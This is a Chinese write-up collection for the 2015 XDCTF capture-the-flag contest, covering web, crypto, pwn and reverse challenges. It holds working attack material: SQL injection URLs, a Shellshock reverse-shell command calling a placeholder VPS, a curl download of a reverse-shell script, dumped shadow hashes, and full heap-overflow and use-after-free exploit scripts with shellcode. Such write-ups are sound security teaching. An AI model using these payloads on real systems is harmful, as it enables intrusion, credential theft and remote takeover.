比赛介绍 见安全脉搏:2015年第六届全国网络安全大赛(XDCTF)
坑。。
http://133.130.90.172/5008e9a6ea2ab282a9d646befa70d53a/index.php?test=aaaa
看题意。 。 。 以为要找一个hash和5008e9a6ea2ab282a9d646befa70d53a
一样。。。
爆破俩小时、、、无果
御剑扫路径 得到
http://133.130.90.172/5008e9a6ea2ab282a9d646befa70d53a/index.php~
右键源码
PHPJM加密后的php文件 解密
双= 弱类型
zone里面ph牛已经给了答案
http://zone.wooyun.org/content/20172
随便拿其中一个就行了。
<?php
var_dump(md5('240610708') == md5('QNKCDZO'));
var_dump(md5('aabg7XSs') == md5('aabC9RqS'));
?>
http://133.130.90.172/5008e9a6ea2ab282a9d646befa70d53a/index.php?test=240610708
出flag
http://flagbox-23031374.xdctf.win:1234/
先查看页面源码,发现一个examples目录。
http://flagbox-23031374.xdctf.win:1234//examples/ 进去发现要登录,提示说
Let Me Guess.. U 4re N0t Administrator!!!
然后尝试了很久的注入,并没有成功。然后放到扫描器里面一扫,有惊喜。
http://flagbox-23031374.xdctf.win:1234/examples/servlets/servlet/SessionExample
看到这个之后,就觉得是session操作。然后输入user=Administrator
然后提示,not login。然后把login改为1。在这个点的时候,我尝试了很多改cookie啥的。发现总是不行。
后面发现要把login改为true,也是醉了。
http://133.130.90.188/
这是一个ssrf,一去进去就是一个框框。直接尝试file://index.php 然后就把index.php的源码读到了。
<?php
if (isset($_GET['link'])) {
$link = $_GET['link'];
// disable sleep
if (strpos(strtolower($link), 'sleep') || strpos(strtolower($link), 'benchmark')) {
die('No sleep.');
}
if (strpos($link,"http://") === 0) {
// http
$curlobj = curl_init($link);
curl_setopt($curlobj, CURLOPT_HEADER, 0);
curl_setopt($curlobj, CURLOPT_PROTOCOLS, CURLPROTO_HTTP);
curl_setopt($curlobj, CURLOPT_CONNECTTIMEOUT, 10);
curl_setopt($curlobj, CURLOPT_TIMEOUT, 5);
$content = curl_exec($curlobj);
curl_close($curlobj);
echo $content;
} elseif (strpos($link,"file://") === 0) {
// file
echo file_get_contents(substr($link, 7));
}
} else {
echo<<<EOF
<!--你瞅啥-->
然后继续读取文件。读hosts文件
# The following lines are desirable for IPv6 capable hosts
::1 localhost ip6-localhost ip6-loopback
ff02::1 ip6-allnodes
ff02::2 ip6-allrouters
127.0.0.1 9bd5688225d90ff2a06e2ee1f1665f40.xdctf.com
然后看到一个绑定hosts的地址。然后去访问发现就是这个页面,看到这个经验告诉我这上面肯定还有其他的网站,不然没有必要绑定host。然后就想去读nginx的配置文件,fuzz了很久都没读取到。后面就想想会不会是在其他的端口,然后开burp爆破。
好 家伙,果然有猫腻。3389端口是个dz7.2.然后打了一发faq的注入,发现不行。然后还是回到死胡同去猜文件路径,然后去读uc key。因为我以为uckey就是flag。后面再这里卡了很久,然后最后发现faq注入没成功的原因是因为编码问题,需要urlencode一下。这个 解决后,那就直接上sqlmap跑。最后发现admin的密码就是flag
这个题目是给了提示之后才做出来的,给的提示是” 然后就去测试,其中在那个图片内容最下面提示你
<!--Please input the ID as parameter with numeric value-->
先测试
http://133.130.90.172/47bce5c74f589f4867dbd57e9ca9f808/Picture.php?ID=3“ or 1%23
返回图片
http://133.130.90.172/47bce5c74f589f4867dbd57e9ca9f808/Picture.php?ID=3“ or 0%23
返回Picture not found!
很明显这是一个盲注。然后继续测试,发现过滤了很多东西,一旦出现select substr left right ascii mid
这些关键字是永真。然后一直在fuzz,最后发现学长写的一篇文章http://laterain.sinaapp.com/?p=196 提到了一种正则盲注的方法
http://133.130.90.172/47bce5c74f589f4867dbd57e9ca9f808/Picture.php?ID=3" or user() REGEXP '^1' %23 为假
http://133.130.90.172/47bce5c74f589f4867dbd57e9ca9f808/Picture.php?ID=3" or user() REGEXP '^x' %23 为真
说明user()是以x开头。然后就这样猜解。但是到后面准备猜解其他表的内容,要用到select。但是这个是直接匹配的select,并不是检查的连接处。后面想起这个案例
http://www.wooyun.org/bugs/wooyun-2015-0101960
会不会我们要猜的数据就和当前的数据在同一个表里面呢。
然后经过一顿fuzz之后,好家伙果然就是这个。
http://133.130.90.172/47bce5c74f589f4867dbd57e9ca9f808/Picture.php?ID=3" or password REGEXP '^1' %23 为假
http://133.130.90.172/47bce5c74f589f4867dbd57e9ca9f808/Picture.php?ID=3" or password REGEXP '^5' %23 为真
说明password字段的第一个值为5开头。然后就这样一直跑最后得到hash 5832f4251cb6f43917df
二十位的hash让我想起了dede,然后去掉前三后一解密
2f4251cb6f43917d md5 lu5631209
然后登陆拿到flag
发现有git泄露,然后用脚本下载
./rip-git.pl -v -u http://xdsec-cms-12023458.xdctf.win/
然后恢复源码
git log
git reset -hard d16ecb1
然后在index.php里面发现flag
Congratulation, this is the [XDSEC-CMS] flag 1
XDCTF-{raGWvWahqZjww4RdHN90}
看到了hint
100 前台逻辑漏洞,做出此题可获得进入300的钥匙
然后又发现有人在ph这个用户里面发文章。觉得就是在找回密码这一块有问题,然后仔细看这一块的代码。
发现两个关键点
public function handle_resetpwd()
{
if(empty($_GET["email"]) || empty($_GET["verify"])) {
$this->error("Bad request", site_url("auth/forgetpwd"));
}
$user = $this->user->get_user(I("get.email"), "email");
if(I('get.verify') != $user['verify']) {
$this->error("Your verify code is error", site_url('auth/forgetpwd'));
}
if($this->input->method() == "post") {
$password = I("post.password");
if(!$this->confirm_password($password)) {
$this->error("Confirm password error");
}
if(!$this->complex_password($password)) {
$this->error("Password must have at least one alpha and one number");
}
if(strlen($password) < 8) {
$this->error("The Password field must be at least 8 characters in length");
}
$this->user->update_userinfo([
"password" => $password,
"verify" => null
], $user["uid"]);
$this->success("Password update successful!", site_url("auth/login"));
} else {
$url = site_url("auth/resetpwd") . "?email={$user['email']}&verify={$user['verify']}";
$this->view("resetpwd.html", ["form_url" => $url]);
}
}
在这个函数里面首先我们要过这个判断
if(empty($_GET["email"]) || empty($_GET["verify"])) {
$this->error("Bad request", site_url("auth/forgetpwd"));
}
email在源码中给出来了
<meta name="author" content="[email protected]"/>
然后verify这个是找回密码的一个验证key。其生成方式是md5(uniqid(mt_rand())),开始想着是不是这个值可以预测,然后决定自己太天真了。我们继续往下面看代码
$this->user->update_userinfo([
"password" => $password,
"verify" => null
], $user["uid"]);
这段代码说明,每次在找回密码之后都会把verify重置为NULL。好家伙,感觉问题的关键就在这里了。然后我自己写一段测试代码
<?php
$conn = mysql_connect("127.0.0.1","root","");
mysql_select_db("mysql", $conn);
$sql1 = "update `user` SET password = NULL where host = 'locathost' ";
$sql2 = "select password from user where host='localhost' limit 1,1";
mysql_query($sql1);
$result = mysql_query($sql2);
while($row = mysql_fetch_array($result))
{
var_dump($row['password']);
}
$id = @$_GET['id'];
if($id == $row['password']){
echo 'success';
}
?>
当我id穿入一个空格的是时候打印的是success,这就证明php在做比较的时候把空格和NULL相等了。
然后回到CMS里面,我们将verify赋为空格,然后成功重置ph用户的密码。
登录进去之后就发现了flag
其实发现网站上的源码和本地的源码不一样,因为我点击找回密码之后。应该生成了一个verify到数据,但是这个时候数据库的verify并没有生成。因为我通过空格还是成功修改了密码。
根据官方提示braiontools github下载下来,按照帮助手册
bftools.exe decode braincopter zzzzzyu.png --output --out.png
根据提示上github找源码.. 编译之后 –help看一下使用方式
两行命令就可以出flag
提示是zip,查阅了资料大概是 zip已知明文攻击
还原可以得到readme.txt的内容,接下来用
这个软件或者PKCrack都可以..
得到flag
扫描 ctf.kfd.me 的端口,发现 31337 是服务端口,nc 连上之后看到提示:
Do you know what's the most useful command in linux?
可知道是 man 命令,man 命令的-P 参数可以执行其他命令.
执行 man -P set & 可以看到程序相关的逻辑代码:
check_lenth ()
{
count=$(echo $1 | wc -m);
if [[ $count -gt $2 ]]; then
echo "Argument too long, 40 limit.";
exit 2;
fi
}
clean_up ()
{
if [[ -z $chat_room ]]; then
cat bye;
exit;
else
echo -e "\033[1;34m$msg_date\033[0m\033[1;31m $username
\033[0m\033[1;34mleaved room\033[0m \033[1;36m \"$room_name\"
\033[0m" >> $chat_room;
cat bye;
exit;
fi
}
hander ()
{
m_cmd=$1;
m_option=$2;
m_selfcmd=$@;
if [[ $m_cmd == 'man' ]]; then
if [[ $m_option == '-P' ]]; then
if [[ -n `echo $m_selfcmd | grep "\""` && `echo $m_selfcmd
| cut -d "\"" -f 3` != '' ]]; then
m_selfcmd=`echo $m_selfcmd | cut -d "\"" -f 2`;
else
if [[ -n `echo $m_selfcmd | grep "'"` && `echo $m_selfcmd
| cut -d "'" -f 3` != '' ]]; then
m_selfcmd=`echo $m_selfcmd | cut -d "'" -f 2`;
else
if [[ $3 == '' ]]; then
echo "man: option requires an argument -- 'P'
Try 'man --help' or 'man --usage' for more information.";
fi;
[[ $4 != '' ]] && m_selfcmd=$3 || echo "What manual
page do you want?";
fi;
fi;
if [[ $m_selfcmd == 'whoami' ]]; then
echo "root";
else
if [[ -n `echo $m_selfcmd | grep -E
"vim|vi|sh|kill|pkill|socat|nc|ncat|nmap|rm|chmod|passwd|etc|root|exp
ort|PATH"` ]]; then
echo "No way.";
else
`$m_selfcmd > m_return` &> /dev/null;
cat m_return;
fi;
fi;
else
if [[ $m_option != '' ]]; then
if [[ `man $m_option` == '' ]]; then
echo "man: option requires an argument --'$m_option'
Try 'man --help' or 'man --usage' for more information.
";
else
`man $m_option > tmp` &> /dev/null;
cat tmp;
fi;
else
echo "What manual page do you want?";
fi;
fi;
else
echo "invalid command";
fi
}
分析代码后发现可以用 man -P "命令" &的方式执行任意命令(前提是命令内容
不能包含
:vim|vi|sh|kill|pkill|socat|nc|ncat|
nmap|rm|chmod|passwd|etc|root|export|PATH 这些字段)
于是继续:
man -P "ls -al" & 可以看到有一个 flag?目录
man -P "ls -al flag\?/" & 可以看到 flag.php 的大小跟其他的不一样
man -P "cat flag\?/flag.php" & 可以看到 Oh, by the way, follow my shadow.
的提示
猜测是查看/etc/shadow 但是命令中不能包含 etc 字段,于是
man -P "curl -o /tmp/1 xx.xx.xx.xx/1" & 从我的 vps 上下载一个 python 的
反弹 shell 的脚本.
man -P "python /tmp/1" & 执行脚本,成功拿到 shell
通过反弹的 shell 查看/etc/shadow 得到:
root:$6$ZuPfdsng$eN.xStmAbo5SCRQm9bHpA6wtrZisadNJn9lOE./2ks3C.vUVxnKJ
AUIZM6PA7IEphcTgOzo4wOBz.wwD9CSDJ1:16709:0:99999:7:::
daemon:*:16661:0:99999:7:::
bin:*:16661:0:99999:7:::
sys:*:16661:0:99999:7:::
sync:*:16661:0:99999:7:::
games:*:16661:0:99999:7:::
man:*:16661:0:99999:7:::
lp:*:16661:0:99999:7:::
mail:*:16661:0:99999:7:::
news:*:16661:0:99999:7:::
uucp:*:16661:0:99999:7:::
proxy:*:16661:0:99999:7:::
www-data:*:16661:0:99999:7:::
backup:*:16661:0:99999:7:::
list:*:16661:0:99999:7:::
irc:*:16661:0:99999:7:::
gnats:*:16661:0:99999:7:::
nobody:*:16661:0:99999:7:::
libuuid:!:16661:0:99999:7:::
syslog:*:16661:0:99999:7:::
neighbor-old-wang:$6$5/yy2vJZ$Xp1MZOp4D5squxZLmgN4TLV5ktfUP2LD5Rp6l07
lzyUCEES97px/a1EoIM8ZjygGrXdUDYGcoD9lGiCigosdI/:16710:0:99999:7:::
ctf:$6$tcSIbi8j$lDog8sNj0U0m.LuAy8u/MRInv9UP33HQTcPhvHFfSTgDajN.4HGJo
pG1PKMqOYVE7MdhDSlN6K/4DzNrEhy5D1:16709:0:99999:7:::
sshd:*:16701:0:99999:7:::
扔到 john 里跑一下,得到 neighbor-old-wang 的密码为 666666
ssh 连上之后查看.bash_history 文件
发现让从 www.flag.com 里面找 flag,
从/etc/hosts 里发现 www.flag.com 指向的 172.17.0.1
而本机是 172.17.0.4 不是一台机器
于是 curl www.flag.com
看到一段 JS 脚本:
function status() {
$.getJSON("/cgi-bin/status", function (data) {
$.each( data, function( key, val ) {
$('#infos').append ( "<li><b>"+key+"</b>: " + val +
"</li>" );
});
});
}
看到/cgi-bin/status,感觉是 Shellshock 漏洞,
执行
curl -H 'x: () { :;}; /bin/bash -i >& /dev/tcp/VPS_IP/8899 0>&1'
http://www.flag.com/cgi-bin/status
成功得到第二台主机的 shell
cat /etc/passwd 得到最终 flag:
xdctf{where_there_is_a_shell_there_is_a_way}
字节翻转攻击,我们只需要构造出一个密文,使得密文的明文里面有;admin=true 即可,然
而;被过滤了,所以要通过字节翻转攻击来构造出;。
首先通过 parse 的字节递增来利用逻辑得到每一个 block 的大小为 16,然后他前置的字节数
是 32 所以我们使输入的字节为:0admin=true,然后利用字节翻转攻击,在第二个 block 的
第一个字节的值异或上’0’再亦或上’;’就可以达到在密文被解密的时候出现;admin=true 字
样。
__author__ = 'bibi' #nc 133.130.52.128 6666 from zio import * #io=zio(("133.130.52.128",6666)) def attack(): prefix = "comment1=wowsuch%20CBC;userdata="#32 suffix = ";coment2=%20suchsafe%20very%20encryptwowww"#42 print len(prefix) print len(suffix) need="0admin=true" io=zio(("133.130.52.128",6666)) io.write("mkprof:"+need+"\n") chushi=io.read_until("\n") print chushi e=chr(ord((chushi[16*2]+chushi[16*2+1]).decode("hex"))^ ord('0') ^ ord(';')).encode("hex") print e cc=chushi[0:16*2]+e+chushi[16*2+2:-1] io=zio(("133.130.52.128",6666)) io.write("parse:"+cc+"\n") io.read_until("\n") print len(chushi)/2 attack() ''' for l in range(5,0xff): io=zio(("133.130.52.128",6666)) test="aa"*l io.write("parse:"+test+"\n") io.read_until("\n") raw_input() ''' #print len("aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa")/2
用瀚海源的 文件b超.
https://b-chao.com/
漏洞很明显,但没有libc,之前想着dump内存,把libc dump出来的,没弄好,后来找了个模板改下了就好了.
程序自己写了个堆管理,然后有个堆溢出.通过edit修改堆的类型即可覆盖下一个堆的结构,接着用del阔以修改4个字节.
利用的话:
1:先修改存堆地址的那部分,0x0804b060,通过show_girl()来泄露堆地址
2:在堆里放shellcode,然后修改got_exit()指向shellcode
漏洞:
在 edit 功能中可以重新设置新的 type 值,导致堆溢出。
利用:
这块堆是程序自己维护的堆。堆头部包含 12 字节,大致如下。
struct heap_header
{
+0 size
+4 *next
+8 *prev
}
存在一个双链表,同时程序没有开启 NX,所以可以通过伪造堆头,在 delete 时实现任
意地址写任意数据。
Ps:程序在 delete 函数中有如下代码,不过感觉出题人写错了函数。堆头为 0xc 字节,
V2=a1-0xc 才对。题目给出的程序连个正常的 delete 功能都没有。
from zio import * target = './pwn3' target = ('133.130.90.210', 6666) def add(io, type): io.read_until('ce:') io.writeline('1') io.read_until(':') io.writeline(str(type)) def edit(io, id, type, buf): io.read_until('ce:') io.writeline('3') io.read_until(':') io.writeline(str(id)) io.read_until(':') io.writeline(str(type)) io.read_until(':') io.write(buf) def delete(io, id): io.read_until('ce:') io.writeline('2') io.read_until(':') io.writeline(str(id)) def show(io, id): io.read_until('ce:') io.writeline('4') io.read_until(':') io.writeline(str(id)) io.read_until('bbbb') heap_ptr = l32(io.read(4)) print hex(heap_ptr) return heap_ptr def exp(target): #io = zio(target, timeout=10000, print_read=COLORED(REPR, 'red'), print_write=COLORED(REPR, 'green')) io = zio(target, timeout=10000, print_read=COLORED(RAW, 'red'), print_write=COLORED(RAW, 'green')) add(io, 0) #0x0804d01c add(io, 0) #0x0804d09c edit(io, 0, 1, 'a'*0x74+'bbbb') heap_ptr = show(io, 0) put_got = 0x0804B014 shellcode3 = "\xeb\x1e" shellcode3 = shellcode3.ljust(0x20, 'a') shellcode3 += "\x31\xd2\x52\x68\x6e\x2f\x73\x68\x68\x2f\x2f\x62\x69\x89\xe3\x52\x53\x89\xe1\x8d\x42\x0b\ xcd\x80" shellcode3 = shellcode3.ljust(0x70, 'a') io.gdb_hint() edit(io, 0, 1, shellcode3+l32(0x81)+l32(heap_ptr-0x0804d110+0x0804d01c)+l32(put_got-4)) delete(io, 1) io.interact() exp(target)
整型溢出
如下图所示,在sub_8048c86()的函数调用中,v13 是个2字节的变量,并且是可控的,前面的判断逻辑即可使(v13+2)溢出来绕过
在sub_8048c86中,这里传递n是一个大数,就阔以读取到flag了.
脚本如下:
from zio import * target = ('159.203.87.2', 8888) #target = ('127.0.0.1',8888) def exp(target): #io = zio(target, timeout=10000, print_read=COLORED(REPR, 'red'), print_write=COLORED(REPR, 'green')) io = zio(target, timeout=10000, print_read=COLORED(RAW, 'red'), print_write=COLORED(RAW, 'green')) data = 'a'*0x15 data += 'PK\x01\x02' data += 0x18*'a' data += l16(0xffff) data=data.ljust(0x45, 'a') io.writeline(data) io.interact()
漏洞:
1. 在 take_exam 中, 程序创建了一个子进程来让用户输入 essay, 不过其中存在一个栈溢出。
分配的空间大小为 96,但是最多能读入 104,溢出 8 个字节,只能覆盖到 rbp,并不能
覆盖到 rip。同时子进程很快就调用 exit 退出了。看起来并没有什么卵用。但是如果因为
栈溢出导致子进程提前崩溃,那么子进程写入到文件中的字节数将为 0。
2. 在 resit 中,v3 对应结构体如下:
struct exam_info{
+0 type
+4 real_len
+8 want_len
+16 *essay
+24 sub_4013f0
}
程序调用 sub_4013f0处的函数, 里面如果考试成绩小于60, 就会将对应的 essay 内存 free
掉。而当 real_len=0 时,*essay 指针不会被清 0,指向被释放的内存。而 real_len 为子进
程写入文件中的字节个数,在栈溢出的情况下可以为 0.
3. 通过 uaf 伪造 v3 结构,可以达到控制函数指针,同时能控制第一个参数所指向内存中的
内容。
使用 printf(“%11$p”)格式化,可以泄露栈上的 libc_start_main 函数。
然后通过 system(“/bin/sh”)拿到 shell。
Ps: v3 结构体实际只用到了 32 字节,但是程序申请大小时大小为 0x68,使得重新申请时,
刚好能占用刚 free 的内存,实现 uaf。
脚本如下:
from zio import * target = './pwn5-jwc' target = ('128.199.232.78', 5432) def register(io, name, intro): io.read_until('exit\n') io.writeline('1') io.read_until('\n') io.writeline(name) io.read_until('\n') io.writeline(intro) def exam(io, len, essay): io.read_until('exit\n') io.writeline('2') io.read_until('dota\n') io.writeline('1') io.read_until('?\n') io.writeline(str(len)) io.read_until('OK') io.write(essay) io.write('\n') def resit(io): io.read_until('exit\n') io.writeline('5') io.read_until('dota\n') io.writeline('1') def exam2(io, len, essay): io.read_until('exit\n') io.writeline('2') io.read_until('dota\n') io.writeline('2') io.read_until('?\n') io.writeline(str(len)) io.read_until('OK') io.write(essay) io.write('\n') def cheat(io, payload): io.read_until('exit\n') io.writeline('1024') io.writeline('1') io.writeline(payload) def leak(io): io.read_until('exit\n') io.writeline('3') io.read_until('0\n') libc_main = int(io.read_until('english').split('english')[0], 16) print hex(libc_main) libc_base = -0x7ffff7a36ec5 + 0x00007ffff7a15000 + libc_main print hex(libc_base) return libc_base def exp(target): #io = zio(target, timeout=10000, print_read=COLORED(REPR, 'red'), print_write=COLORED(REPR, 'green')) io = zio(target, timeout=10000, print_read=COLORED(RAW, 'red'), print_write=COLORED(RAW, 'green')) register(io, 'ling', 'abcd') exam(io, 104, 'a'*104) resit(io) exam2(io, 50, 'a'*50) payload = "%11$p" payload = payload.ljust(0x18,'\x00') payload += l64(0x00000000004009B0) cheat(io, payload) libc_base = leak(io) system = libc_base - 0x00007ffff7a15000 + 0x7ffff7a5b640 print hex(system) payload = "/bin/sh;" payload = payload.ljust(0x18,'\x00') payload += l64(system) cheat(io, payload) io.writeline('3') io.interact() exp(target)
运行起来main函数有个ptrace反调试,修改返回值过了。之后输入的12位字符串 与”ZzAwZF9DcjRrM3JfZzBfb24=”循环异或再异或7,通过这个函数计算最后获得的返回是Congratulations? Key is XDCTF{Input},是个问号,在.fini_array中还有一个相似的函数再进行一次验证,这次验证成功后会把问号改成感叹号,所以正在的验证 应该是.fini_array中的。而两个函数的差别就是第一个要异或7,.fini_array中的不异或7.
第二步位置变换
第三步判断异或之后如果小于0x1f,就加0x20
最 后结果与[0x3B, 0x25, 0x23, 0x38, 0x34, 0x38, 0x4E, 0x21, 0x30, 0x5A, 0x3F, 0x37, 0x27, 0x25, 0x32, 0x33, 0x5D, 0x2F, 0x35, 0x23, 0x31, 0x22, 0x59, 0x58]比较
解密代码:
#coding=utf-8
key = [0x3B, 0x25, 0x23, 0x38, 0x34, 0x38, 0x4E, 0x21, 0x30, 0x5A, 0x3F, 0x37, 0x27, 0x25, 0x32, 0x33, 0x5D, 0x2F, 0x35, 0x23, 0x31, 0x22, 0x59, 0x58]
res = ""
key2 = "ZzAwZF9DcjRrM3JfZzBfb24="
for i in range(24):
if key[i] > 0x1f and key[i] <= 0x3f:
key[i] = key[i] - 0x20
print key
for i in range(12):
tmp = key[i]
key[i] = key[17 - i]
key[17 - i] = tmp
print key
print key2
for i in range(12):
res += chr(key[i] ^ ord(key2[i]))
print res
print len(res)
转为小写即可
代码加密保存,运行时解密,首先ida找到被加密代码的地方,od运行起来之后代码被解密,下断,第二次运行时先禁用断点,运行起来,激活断点就可以断在比较XDCTF的地方
根据代码一部分一部分修正输入即可复原处flag
flag: XDCTF{Congra_tUlat$eyOu}
输入的name,key全转为大写
计算machine code
通过name计算一个35位的key
把machine code、name计算得到的key和输入的key转存在这里,每个字符用一个dword存放
变换name计算出的key的顺序
触发异常,进入SEH
检测CC断点
用代码段的代码的二进制填充一段缓冲区
上一步提到的缓冲区经过运算变形(b)
通过之前的数据(a)(b)计算查表得到最终的注册码
很快定位到关键代码。
经过分析,程序调用的 3 个 GetDlgItemTextA 中只有第一个是有用的,另外两个没用,只会
导致程序提前推出,需要通过 patch 或者通过调试器跳过那两个函数调用。
之后就是纯分析算法了。
程序中使用了很多浮点指令,通过调试器查看内存,大概也能理清楚。
程序中有个 des 解密函数,并且在解密前后作者打印出了明文和密文。
最后函数过程大致如下:
from zio import * import pyDes input = '12345678901234567890123456789012' plain_text = UNHEX(input) print len(plain_text) key = "\x34\x45\x86\x99\x1a\x4b\xcd\xa5" des = pyDes.des(key) crypt_text = (des.decrypt(plain_text)) print len(crypt_text) #need crypt_text[0x10:0x18] == '\x08' * 8 final = '' for i in range(16): index = (i + 2) % 16 final += crypt_text[index:index + 1] final2 = '' for i in range(16): final2 += chr(l8(final[i:i+1])^0xe4) #need final2 == mc
写了个逆向过程:
from zio import * import pyDes mc = UNHEX('D85EB0EEE39E5DFE6279FFC555AC8621') final = '' for i in range(16): final += chr(l8(mc[i:i+1])^0xe4) crypt_text = final[2:16]+final[0:2] crypt_text += '\x08'*8 key = "\x34\x45\x86\x99\x1a\x4b\xcd\xa5" des = pyDes.des(key) plain_text = des.encrypt(crypt_text) print len(plain_text) print HEX(plain_text).upper()
关注往年战题,2014年第五届全国网络安全大赛(XDCTF)参见:XDCTF2014 Writeup之Web和Crack篇
【作者:InkSec & syclover 安全脉搏SP小编整理编辑发布】